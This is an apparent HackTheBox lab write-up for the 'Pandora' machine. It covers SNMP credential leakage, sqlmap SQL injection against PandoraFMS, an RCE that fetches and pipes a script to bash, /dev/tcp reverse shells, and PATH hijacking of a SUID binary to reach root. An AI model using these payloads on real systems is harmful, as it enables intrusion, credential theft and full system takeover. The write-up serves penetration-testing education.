

HACKTHEBOX



Pandora

21th May 2022 / Document No D22.100.174

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Difficulty: **Easy**

Classification: Confidential

Synopsis

Pandora is an easy rated Linux machine. The port scan reveals a SSH, web-server and SNMP service running on the box. Initial foothold is obtained by enumerating the SNMP service, which reveals cleartext credentials for user `daniel`. Host enumeration reveals Pandora FMS running on an internal port, which can be accessed through port forwarding. Lateral movement to another user called `matt` is achieved by chaining SQL injection & RCE vulnerabilities in the PandoraFMS service. Privilege escalation to user `root` is performed by exploiting a SUID binary for PATH variable injection.

Skills required

- Basic Linux Knowledge

Skills learned

- SNMP enumeration
- Port forwarding
- SQL injection
- Lateral movement

- Reversing
 - PATH variable injection
-

Enumeration

We will begin by scanning the host for any open TCP ports and running services with a Nmap scan:

```
-p- : scan for all TCP ports ranging from 0-65535
--min-rate : This is used to specify the minimum number of packets Nmap should send per
second; it speeds up the scan as the number goes higher
-sV : Attempts to determine the version of the service running on a port
-sc : Scan with default NSE scripts
```

```
$ nmap -p- --min-rate=1000 -T4 $IP

Starting Nmap 7.92 ( https://nmap.org )
Stats: 0:00:52 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
Nmap scan report for 10.10.11.136
Host is up (0.29s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
```

A second scan can be run to determine the services that are listening on each port.

```
$ nmap -p 22,80 -sC -sV 10.10.11.136

Starting Nmap 7.92 ( https://nmap.org )
Nmap scan report for 10.10.11.136
Host is up (0.29s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 24:c2:95:a5:c3:0b:3f:f3:17:3c:68:d7:af:2b:53:38 (RSA)
|   256 b1:41:77:99:46:9a:6c:5d:d2:98:2f:c0:32:9a:ce:03 (ECDSA)
|_  256 e7:36:43:3b:a9:47:8a:19:01:58:b2:bc:89:f6:51:08 (ED25519)
80/tcp    open  http     Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Play | Landing
|_http-server-header: Apache/2.4.41 (Ubuntu)
```

Looking at the Nmap scan, we can see SSH running on port 22 and Apache web server running on port 80. Let us also run a Nmap scan to identify any open UDP ports.

```
$ nmap -sU 10.10.11.136
```



```
$ nmap -sU 10.10.11.136
```

```
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-19 23:38 IST
Nmap scan report for panda.htb (10.10.11.136)
Host is up (0.29s latency).
```

PORt	STATE	SERVICE
------	-------	---------

```
[** SNIP **]
```


69/udp	open filtered	tftp
123/udp	closed	ntp
135/udp	closed	msrpc
137/udp	closed	netbios-ns
138/udp	closed	netbios-dgm
139/udp	open filtered	netbios-ssn
161/udp	open	snmp
162/udp	closed	snmptrap
445/udp	closed	microsoft-ds
500/udp	open filtered	isakmp
514/udp	closed	syslog

```
[** SNIP **]
```

The output shows that port 161 is open and running the SNMP service.

Web Enumeration

Upon visiting the IP address in the browser we land on a static webpage. We can click around to check for any potentially useful functionality of the website, but there is none.



Features

Main Features Of Play

Working together with Panda.HTB we provide delivery, installation and usage on network monitoring applications.

Let us move on to enumerating the UDP port 161 running the SNMP service.

SNMP

What is SNMP protocol?

SNMP stands for Simple Network Management Protocol. It provides a framework for asking a device about its performance and configuration. It is used to manage and monitor all the devices connected over a network. It exposes management data in the form of variables on the managed systems. These variables can then be remotely queried.

Let us use this command-line utility known as `snmpwalk` to scan the SNMP service and obtain all variables of the managed systems and displays them.

```
snmpwalk -v 1 -c public 10.10.11.136
```



```
$ snmpwalk -v 1 -c public 10.10.11.136

[** SNIP **]

iso.3.6.1.2.1.25.4.2.1.5.1001 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.1106 = STRING: "-u daniel -p HotelBabylon23"
iso.3.6.1.2.1.25.4.2.1.5.1134 = STRING: "-k start"
iso.3.6.1.2.1.25.4.2.1.5.1180 = STRING: "-k start"

[** SNIP **]
```

It seems that the target is performing a host check and passing cleartext credentials over CLI. We now have a username and a password, so let us try authenticating into SSH using the obtained the credentials.

```
user : daniel
pass : HotelBabylon23
```

Using the credentials obtained during the SNMP enumeration, we were successfully able to log into the machine via SSH as user `daniel`. We can see that the `user.txt` flag is in the home directory of another user called `matt`, and it is not readable with daniel's privileges. Thus, we must now figure out a way to laterally move into the user `matt`.



```
$ pwd
/home/daniel

$ ls -al /home/daniel/
total 28
drwxr-xr-x 4 daniel daniel 4096 May 19 19:32 .
drwxr-xr-x 4 root root 4096 Dec 7 14:32 ..
lrwxrwxrwx 1 daniel daniel 9 Jun 11 2021 .bash_history -> /dev/null
-rw-r--r-- 1 daniel daniel 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 daniel daniel 3771 Feb 25 2020 .bashrc
drwx----- 2 daniel daniel 4096 May 19 19:32 .cache
-rw-r--r-- 1 daniel daniel 807 Feb 25 2020 .profile
drwx----- 2 daniel daniel 4096 Dec 7 14:32 .ssh

$ ls -al /home/
total 16
drwxr-xr-x 4 root root 4096 Dec 7 14:32 .
drwxr-xr-x 18 root root 4096 Dec 7 14:32 ..
drwxr-xr-x 4 daniel daniel 4096 May 19 19:32 daniel
drwxr-xr-x 2 matt matt 4096 Dec 7 15:00 matt

$ ls -al /home/matt/
total 24
drwxr-xr-x 2 matt matt 4096 Dec 7 15:00 .
drwxr-xr-x 4 root root 4096 Dec 7 14:32 ..
lrwxrwxrwx 1 matt matt 9 Jun 11 2021 .bash_history -> /dev/null
-rw-r--r-- 1 matt matt 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 matt matt 3771 Feb 25 2020 .bashrc
-rw-r--r-- 1 matt matt 807 Feb 25 2020 .profile
-rw-r----- 1 root matt 33 May 19 19:28 user.txt

$ cat /home/matt/user.txt
cat: user.txt: Permission denied
```

Lateral Movement

Let us enumerate the remote host for any further useful information. We can see two separate directories inside the `/var/www/` directory.

```
$ ls -al /var/www/
```



```
$ ls -al /var/www/  
  
total 16  
drwxr-xr-x  4 root root 4096 Dec  7 14:32 .  
drwxr-xr-x 14 root root 4096 Dec  7 14:32 ..  
drwxr-xr-x  3 root root 4096 Dec  7 14:32 html  
drwxr-xr-x  3 matt matt 4096 Dec  7 14:32 pandora
```

On further analysing the contents of these directories we can see that the website of the directory `html` was the one we saw when we visited the IP address of the remote host in the browser.

Thus, let us also read the Apache virtual host configuration to check for any useful information. Apache's VHost configuration files can be found in the `/etc/apache2/sites-enabled/` directory. There are two configuration files present here, a default one and another named as `pandora.conf`. On reading the `pandora.conf` we see that a website with the web directory as `/var/www/pandora` is being served internally on port 80, i.e. `localhost:80`.

```
$ cat /etc/apache2/sites-enabled/pandora.conf
```



```
$ cat /etc/apache2/sites-enabled/  
000-default.conf  pandora.conf  
  
$ cat /etc/apache2/sites-enabled/pandora.conf  
<VirtualHost localhost:80>  
    ServerAdmin admin@panda.htb  
    ServerName pandora.panda.htb  
    DocumentRoot /var/www/pandora  
    AssignUserID matt matt  
    <Directory /var/www/pandora>  
        AllowOverride All  
    </Directory>  
    ErrorLog /var/log/apache2/error.log  
    CustomLog /var/log/apache2/access.log combined  
</VirtualHost>
```

We can port forward our connection to the remote host's internal port and then we will be able to access its web content. There are several ways to perform port forwarding, although we will be doing it by using the SSH connection itself. Using this tunnel, we can set up a proxy to view the webpage.

```
$ ssh -D 9090 daniel@10.10.11.136
```

Note: `-D` Specifies a local "dynamic" application-level port forwarding




```
$ ssh -D 9090 daniel@10.10.11.136
```


We will also need to configure a SOCKS proxy in the foxy-proxy browser extension in order to make the browser route the traffic through the port which is forwarded.

The screenshot shows the 'Edit Proxy Pandora_Proxy' configuration page. The proxy is of type SOCKS5, configured to use 127.0.0.1 on port 9090. It is set to send DNS through the proxy and has a color of #66cc66. The 'Send DNS through SOCKS5 proxy' switch is turned On. There are optional fields for Username and Password, both currently empty. At the bottom are buttons for Cancel, Save & Add Another, Save & Edit Patterns, and Save.

When we visit our `localhost` on port 80 we are greeted with a PandoraFMS login page.



Looking at the bottom of that page exposes the version of the Pandora FMS, which is `v7.0NG.742_FIX_PERL2020`.



Having the version of the service, we can google for any available exploits. [This](#) vulnerability disclosure was among the top results.

SQL injection

According to the above vulnerability disclosure, PandoraFMS suffers from an SQL injection vulnerability, leading to authentication bypass by abusing the session declaration process in `/include/chart_generator.php`. After reading through the vulnerable code provided in the disclosure, we can pass the `session_id` parameter to utilize the SQL injection. Let us use `sqlmap` for exploiting the SQL injection vulnerability and eventually dumping the database.

In order to route `sqlmap` through the SOCKS proxy (so that its traffic can reach the PandoraFMS), we will need to make use of a tool known as `proxychains`.

Proxychains is a tool that forces any TCP connection made by any given application to go through proxies like TOR or any other SOCKS4, SOCKS5 or HTTP proxies.

We will need to add an entry for our proxy under the ProxyList section in the `/etc/proxychains4.conf` file.

```
[ProxyList]
# add proxy here ...
# meanwhile
# defaults set to "tor"
socks5 127.0.0.1 9090 daniel HotelBabylon23
```

Let us now run `sqlmap` against the SQLi vulnerable endpoint `/include/chart_gernerator.php`.

Obtaining the name of the current database :

```
$ proxychains sqlmap --
url="http://localhost/pandora_console/include/chart_generator.php?session_id=''" --
current-db
```



```
$ proxychains sqlmap --url="http://localhost/pandora_console/include/chart_generator.php?session_id=''" --
--current-db

[** SNIP **]

[02:37:38] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 20.10 or 19.10 or 20.04 (eoan or focal)
web application technology: PHP, Apache 2.4.41
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[02:37:38] [INFO] fetching current database
[02:37:38] [INFO] resumed: 'pandora'
current database: 'pandora'
[02:37:38] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/localhost'

[** SNIP **]
```

Obtaining the list of tables present in the database "pandora" :

```
$ proxychains sqlmap --
url="http://localhost/pandora_console/include/chart_generator.php?session_id=''" -D
pandora --tables
```

```
$ proxychains sqlmap --url="http://localhost/pandora_console/include/chart_generator.php?session_id=''" -D pandora --tables
[** SNIP **]

[proxychains] Strict chain ... 127.0.0.1:9090 ... 127.0.0.1:80 ... OK
[02:24:54] [INFO] retrieved: 'tpolicy_groups'
[proxychains] Strict chain ... 127.0.0.1:9090 ... 127.0.0.1:80 ... OK
[02:24:55] [INFO] retrieved: 'tevento'
Database: pandora
[178 tables]
+-----+
| taddress
| taddress_agent
| tagent_access
| tagent_custom_data
|
| tagent_custom_fields
|
| tagent_custom_fields_filter
| tagent_module_inventory
| tagent_module_log
| tagent_repository
|
[** SNIP **]
```

Dumping the `tsessions_php` table in order to obtain a usable `session_id` value in order to login into the Pandora FMS by impersonating an elevated user, i.e. `matt`.

```
$ proxychains sqlmap --
url="http://localhost/pandora_console/include/chart_generator.php?session_id=''" -
Tsessions_php --dump
```

```
$ proxychains sqlmap --url="http://localhost/pandora_console/include/chart_generator.php?session_id=''" -Tsessions_php --dump
[** SNIP **]

Database: pandora

Table: tsessions_php
[48 entries]
+-----+-----+-----+
| id_session | data | last_active |
+-----+-----+-----+
| 346uqacafar8pipuppubqet7ut | id_usuario|s:6:"daniel"; | 1638540332 |
| g4e01qdgk36mfdh90hvcc54umq | id_usuario|s:4:"matt";alert_msg|a:0:{}new_chat|b:0; | 1638796349 |

[** SNIP **]
```

We were successfully able to obtain a `session_id` value for user `matt`. Let's visit the vulnerable endpoint with the `session_id` value in the URL.

Then visit the homepage of the PandoraFMS and we can see that we are logged in as user "matt".

The screenshot shows the Pandora FMS Console interface at `localhost/pandora_console/`. The left sidebar includes links for Kali Linux, Kali Tools, Kali Docs, Kali Forums, Kali NetHunter, Exploit-DB, Google Hacking DB, and OffSec. The main dashboard features a 'Pandora FMS Overview' section with status bars for Server health, Monitor health, Module sanity, and Alert level. It also displays 'Defined and triggered alerts' and 'Monitors by status' (17 total). Below these are sections for 'Total agents and monitors' (2 agents, 17 monitors) and 'Latest activity'. The 'Latest activity' table shows two logon failed events for user 'matt' on port 1.

After getting into the user account we identify that we don't have access to the file upload functionality, so we cannot execute the `phar deserialization` part of the exploit. Searching for other exploits we come across [this vulnerability](#) which allows a standard user to execute arbitrary commands on the target system.

We can exploit this RCE vulnerability by clicking on the "Events" option in the sidebar and then capturing the request in an intermediary proxy like BurpSuite. We see that a POST request is being made to the `ajax` specified in the above disclosure. We can gain RCE by URL encoding `/` and by placing our commands in the `target` parameter of the request body.

We will also need to configure the SOCKS proxy accordingly, in BurpSuite under the "user options" tab.

SOCKS Proxy

These settings let you configure Burp to use a SOCKS proxy. This setting is applied at the TCP level, requests to upstream proxies will be sent via the SOCKS proxy configured here.

Note: these settings can be overridden for individual projects within project options.

Use SOCKS proxy

SOCKS proxy host: `127.0.0.1`

SOCKS proxy port: `9090`

Username: `daniel`

Password: `*****`

Do DNS lookups over SOCKS proxy

Altering the captured POST request and sending it with the RCE payload `whoami`.

```

Request
Pretty Raw Hex ⌂ \n ⌂
1 POST /pandora_console/ajax.php HTTP/1.1
2 Host: localhost
3 User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:91.0)
Gecko/20100101 Firefox/91.0
4 Accept: application/json, text/javascript, */*; q=0.01
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
8 X-Requested-With: XMLHttpRequest
9 Content-Length: 90
10 Origin: http://localhost
11 Connection: close
12 Referer:
http://localhost/pandora_console/index.php?sec=eventos&sec2=oper
ation/events/events
13 Cookie: PHPSESSID=5kql0v8hq13cqfbfoiak2icj5b
14 Sec-Fetch-Dest: empty
15 Sec-Fetch-Mode: cors
16 Sec-Fetch-Site: same-origin
17
18 page=include%2fajax%2fevents&perform_event_response=10000000&
target=whoami&response_id=1
19

Response
Pretty Raw Hex Render ⌂ \n ⌂
1 HTTP/1.1 200 OK
2 Date: Thu, 19 May 2022 21:51:25 GMT
3 Server: Apache/2.4.41 (Ubuntu)
4 Expires: Thu, 19 Nov 1981 08:52:00 GMT
5 Cache-Control: no-store, no-cache, must-revalidate
6 Pragma: no-cache
7 Set-Cookie: PHPSESSID=5kql0v8hq13cqfbfoiak2icj5b; expires=Sun,
16-May-2032 21:51:25 GMT; Max-Age=315360000; path=/
8 Content-Length: 5
9 Connection: close
10 Content-Type: text/html; charset=UTF-8
11
12 matt
13

```

We can see the output of the `whoami` command in the server response meaning that RCE was successful.

Let us now try getting a reverse shell using RCE. We will create a reverse shell bash file on our local machine and then using the RCE, make the remote host fetch this and pipe it to bash in order to execute it. We are doing it this way because it minimizes the risk of failure due to the presence of any bad characters in the web request.

```

$ cat shell.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.6/1337 0>&1

$ ls
shell.sh

$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

```

Command used in the RCE payload :

```
curl+10.10.14.6:80/shell.sh|bash
```

Request

Pretty Raw Hex ⚡ ⌂ ⌄

```
1 POST /pandora_console/ajax.php HTTP/1.1
2 Host: localhost
3 User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:91.0)
   Gecko/20100101 Firefox/91.0
4 Accept: application/json, text/javascript, */*; q=0.01
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
8 X-Requested-With: XMLHttpRequest
9 Content-Length: 116
10 Origin: http://localhost
11 Connection: close
12 Referer:
   http://localhost/pandora_console/index.php?sec=eventos&sec2=operati
   on/events/events
13 Cookie: PHPSESSID=5kql0v8hq13cqfbfoiak2icj5b
14 Sec-Fetch-Dest: empty
15 Sec-Fetch-Mode: cors
16 Sec-Fetch-Site: same-origin
17
18 page=include%2fajax%2fevents&perform_event_response=10000000&target
   =curl+10.10.14.6:80/shell.sh|bash&response_id=1
19
```

Upon sending the request to the server, we get a reverse shell as user matt.

```
$ nc -nvlp 1337
listening on [any] 1337 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.11.136] 60624
bash: cannot set terminal process group (822): Inappropriate ioctl for device
bash: no job control in this shell

matt@pandora:/var/www/pandora/pandora_console$ id
uid=1000(matt) gid=1000(matt) groups=1000(matt)

matt@pandora:/var/www/pandora/pandora_console$ cd ~

matt@pandora:/home/matt$ ls -al
total 24
drwxr-xr-x 2 matt matt 4096 Dec  7 15:00 .
drwxr-xr-x 4 root root 4096 Dec  7 14:32 ..
lrwxrwxrwx 1 matt matt    9 Jun 11  2021 .bash_history -> /dev/null
-rw-r--r-- 1 matt matt  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 matt matt 3771 Feb 25  2020 .bashrc
-rw-r--r-- 1 matt matt   807 Feb 25  2020 .profile
-rw-r----- 1 root matt   33 May 19 19:28 user.txt
```

The user flag can be found at `/home/matt/user.txt`

Privilege Escalation

Let us find all the files with **SUID** bit set in the whole file system using the `find` utility with the `-perm` flag (print files only with permissions set to **4000**).

```
$ find / -perm -4000 2>/dev/null
```



```
$ find / -perm -4000 2>/dev/null

/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/pandora_backup
/usr/bin/passwd
/usr/bin/mount
/usr/bin/su
/usr/bin/at
/usr/bin/fusermount
/usr/bin/chsh
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/polkit-1/polkit-agent-helper-1
```

We see an unusual entry in the results, which is `/usr/bin/pandora_backup`.

```
$ ls -al /usr/bin/pandora_backup
```



```
$ ls -al /usr/bin/pandora_backup
-rwsr-x--- 1 root matt 16816 Dec  3 15:58 /usr/bin/pandora_backup
```

Breaking out from the restricted shell environment

When we try to run the binary, we see the following error :

```
$ /usr/bin/pandora_backup
```

```
$ /usr/bin/pandora_backup
[** SNIP **]

tar: /root/.backup/pandora-backup.tar.gz: Cannot open: Permission
denied
tar: Error is not recoverable: exiting now
PandoraFMS Backup Utility
Now attempting to backup PandoraFMS client
Backup failed!
Check your permissions!
```

The error is about permission issues regarding being unable to access a file present in the `root` directory. But this binary has the SUID bit set, so the binary must run with root privileges. This seems to be a case of a restricted shell.

We can use the `/usr/bin/at` binary to break out of this restricted shell, as instructed here in the [GTFO bins](#).

```
$ echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | at now; tail -f /dev/null
```

```
$ echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | at now; tail -f /dev/null
warning: commands will be executed using /bin/sh
job 2 at Thu May 19 22:17:00 2022
/bin/sh: 0: can't access tty; job control turned off

$ id
uid=1000(matt) gid=1000(matt) groups=1000(matt)
```

Let us also upgrade this shell to a TTY shell for convenience.

```
$ python -c "import pty;pty.spawn('/bin/bash')"
```



```
$ python -c "import pty;pty.spawn('/bin/bash')"  
matt@pandora:/usr/bin$
```

Now, upon executing the `/usr/bin/pandora_backup` binary, we see a backup of the PandoraFMS is being created.

```
$ /usr/bin/pandora_backup
```



```
$ /usr/bin/pandora_backup  
[** SNIP **]  
  
/var/www/pandor a/pandora_console/vendor/egulias/email-  
validator/phpunit.xml.dist  
/var/www/pandora/pandora_console/vendor/egulias/email-  
validator/LICENSE  
/var/www/pandora/pandora_console/ws.php  
Backup successful!  
Terminating program!
```

Binary Analysis

Let us transfer the `pandora_backup` binary to our local machine in order to analyze it. We will be using a simple netcat stream to transfer this file.

On our local machine:

```
$ nc -nvlp 1234 > pandora_backup  
listening on [any] 1234 ...
```

On the remote machine:

```
$ nc 10.10.14.6 1234 < pandora_backup
```

After the file has finished transferring, let's run the `strings` utility on it to extract any printable strings.

```
$ strings pandora_backup
```



```
$ strings pandora_backup
```

```
[** SNIP **]
```

PandoraFMS Backup Utility

Now attempting to backup PandoraFMS client

```
tar -cvf /root/.backup/pandora-backup.tar.gz
```

```
/var/www/pandora/pandora_console/*
```

Backup failed!

Check your permissions!

Backup successful!

Terminating program!

```
[** SNIP **]
```

We can see that the `tar` utility is being used to compress the data into a backup file called `pandora-backup.tar.gz`. However, the command uses the relative path for the `tar` binary instead of the absolute path. Due to this fact, we can try hijacking the PATH variable, and ultimately escalate our privileges to root.

What is PATH variable hijacking?

First, we must understand what the PATH environment variable is.

The PATH environment variable contains a list of directories. So when a binary is being run without specifying its absolute path, the directories listed in the PATH variable are searched from beginning to end for this binary file and the first matching executable is run. So directories at the beginning of the PATH variable take precedence over those that come later.

Now, a vulnerable scenario is in which the absolute path of a binary is not specified. We can create a file containing the malicious command and make the filename the same as that of the binary to be run. We will also need to alter the PATH variable such that our malicious file is the first one to match when the directories listed in the PATH variable are searched. So, instead of the originally intended binary, the malicious command inside the file created by us is run

Let us create a file on the remote system in the `/tmp` directory called `tar` and place the following reverse shell code inside it.

```
#!/bin/bash  
bash -i >& /dev/tcp/<local_IP_address>/<listening_port> 0>&1
```

We will also need to give it the executable permissions.

```
$ cat tar  
#!/bin/bash  
bash -i >& /dev/tcp/10.10.14.6/4444 0>&1  
  
$ chmod +x tar
```

After the `tar` file has been created, we have to modify the current user's PATH variable on the remote system and prepend the `/tmp` folder so that it is the first folder that bash searches for binaries in. Entries in the PATH variable are separated by a colon `:`.

```
$ export PATH=/tmp:$PATH
```

```
$ export PATH=/tmp:$PATH  
  
matt@pandora:/dev/shm$ echo $PATH  
bash:  
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```

Note: The above command sets the value of PATH to `/tmp` plus the previous value of PATH.

Start a Netcat listener on your local machine

```
$ nc -nvlp 4444
```

Then, run the `pandora_backup` binary so as to trigger the reverse shell through the malicious `tar` file.

```
$ /usr/bin/pandora_backup
```



```
$ /usr/bin/pandora_backup
```

```
PandoraFMS Backup Utility  
Now attempting to backup PandoraFMS client
```

After the `tar` file is executed, a reverse shell is received on our listener.



```
$ nc -nvlp 4444  
listening on [any] 4444 ...  
connect to [10.10.14.6] from (UNKNOWN) [10.10.11.136] 47294  
  
root@pandora:/tmp# id  
uid=0(root) gid=1000(matt) groups=1000(matt)
```

The root flag can be found at `/root/root.txt`